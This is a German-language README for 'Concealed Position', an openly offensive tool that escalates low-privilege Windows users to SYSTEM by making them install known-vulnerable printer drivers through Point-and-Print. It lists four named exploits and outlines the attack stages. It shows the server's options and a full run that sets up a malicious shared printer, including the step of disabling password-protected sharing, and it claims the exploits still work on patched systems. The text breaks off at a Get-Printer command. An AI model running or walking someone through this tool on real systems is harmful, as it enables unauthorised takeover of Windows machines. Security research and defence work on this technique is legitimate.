
Tool zur Privilegieneskalation durch einen eigenen Druckertreiber
Concealed Position ist ein lokaler Privilegienausweitungsangriff gegen Windows, der das Konzept "Bring Your Own Vulnerability" nutzt. Genauer gesagt verwendet Concealed Position (CP) die wie vorgesehene Point-and-Print-Logik in Windows, die es einem Benutzer mit niedrigen Privilegien erlaubt, Druckertreiber bereitzustellen und zu installieren. CP installiert gezielt Treiber mit bekannten Schwachstellen, die dann ausgenutzt werden, um zu SYSTEM zu eskalieren. Concealed Position wurde erstmals auf der DEF CON 29 vorgestellt.
Concealed Position bietet vier Exploits – alle mit gleichermaßen bescheuerten Namen:
Die Exploits sind praktisch, weil sie – mit Ausnahme von SLASHINGDAMAGE – auch nach dem Patchen der Probleme weiterhin funktionieren. Der einzige Mechanismus, den Windows hat, um Benutzer an der Verwendung alter Treiber zu hindern, ist der Widerruf des Treiberzertifikats – etwas, das historisch gesehen nicht (?) gemacht wird.
Wahrscheinlich ACIDDAMAGE. RADIANTDAMAGE und POISONDAMAGE sind Race Conditions (zum Überschreiben einer DLL) und SLASHINGDAMAGE ist hoffentlich fast überall gepatcht.
Concealed Position besteht aus zwei Teilen. Einem bösartigen Drucker und einem Client. Der Client kontaktiert den Server, holt sich einen Treiber, lässt den Treiber im Treiberspeicher ablegen, installiert den Drucker und nutzt den Installationsprozess aus. Einfach! In der MSAPI-Sprache sieht der Angriff ungefähr so aus:
Step 1: Stage the driver in the driver store
client to server: GetPrinterDriver
server to client: Response with driver
Stage 2: Install the driver from the driver store
client: InstallPrinterDriverFromPackage
Stage 3: Add a local printer (exploitation stage)
client: Add printer
Es ist wichtig zu beachten, dass SLASHINGDAMAGE eigentlich nicht so funktioniert. SLASHINGDAMAGE ist eine Implementierung des auf der DEFCON 28 (2020) beschriebenen bösartigen Druckerangriffs und wurde schon vor langer Zeit gepatcht. Ich mag den Angriff einfach (er hat die gesamte weitere Entwicklung ausgelöst) und dachte, ich lasse den Exploit in meinem bösartigen Server – so verwirrend das auch sein mag.
Man kann sagen, ja. Der Treiberspeicher ist eine "vertrauenswürdige Sammlung von ... Drittanbieter-Treiberpaketen", die Administratorzugriff zum Ändern erfordert. Mit GetPrinterDriver kann ein Angreifer mit niedrigen Privilegien beliebige Treiber in den Speicher einstufen. Das überschreitet für mich eine klare Sicherheitsgrenze.
Microsoft schien dem zuzustimmen, als sie CVE-2021-34481 herausgaben.
Obwohl... es ist diskutierbar, dass dies einfach eine Funktion des Systems und überhaupt keine Sicherheitslücke ist. Das spielt letztlich keine so große Rolle. Ein Angreifer kann auf Standard-Windows-Installationen zu SYSTEM eskalieren.
Mindestens Windows 8.1 und höher.
Einfach! So einfach, dass es viele Absätze zur Beschreibung geben wird!
Schauen wir uns zuerst die Befehlszeilenoptionen von cp_server an:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
CLI options:
-h, --help Display the help message
-e, --exploit arg The exploit to use
-c, --cabs arg (=.\cab_files) The location of the cabinet files
Exploits available:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
SLASHINGDAMAGE
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Oben sehen Sie, dass der Server zwei Optionen benötigt:
Angenommen, wir möchten einen bösartigen Drucker konfigurieren, der den ACIDDAMAGE-Treiber bereitstellt. Einfach so:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
[+] Creating temporary space...
[+] Expanding .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] Pushing into the driver store
[+] Cleaning up tmp space
[+] Installing print driver
[+] Driver installed!
[+] Installing shared printer
[+] Shared printer installed!
[+] Automation Done.
[!] IMPORTANT MANUAL STEPS!
[0] In Advanced Sharing Settings, Turn off password protected sharing.
[1] Ready to go!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Und das war's, Sie sehen einen neuen Drucker auf Ihrem System:
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer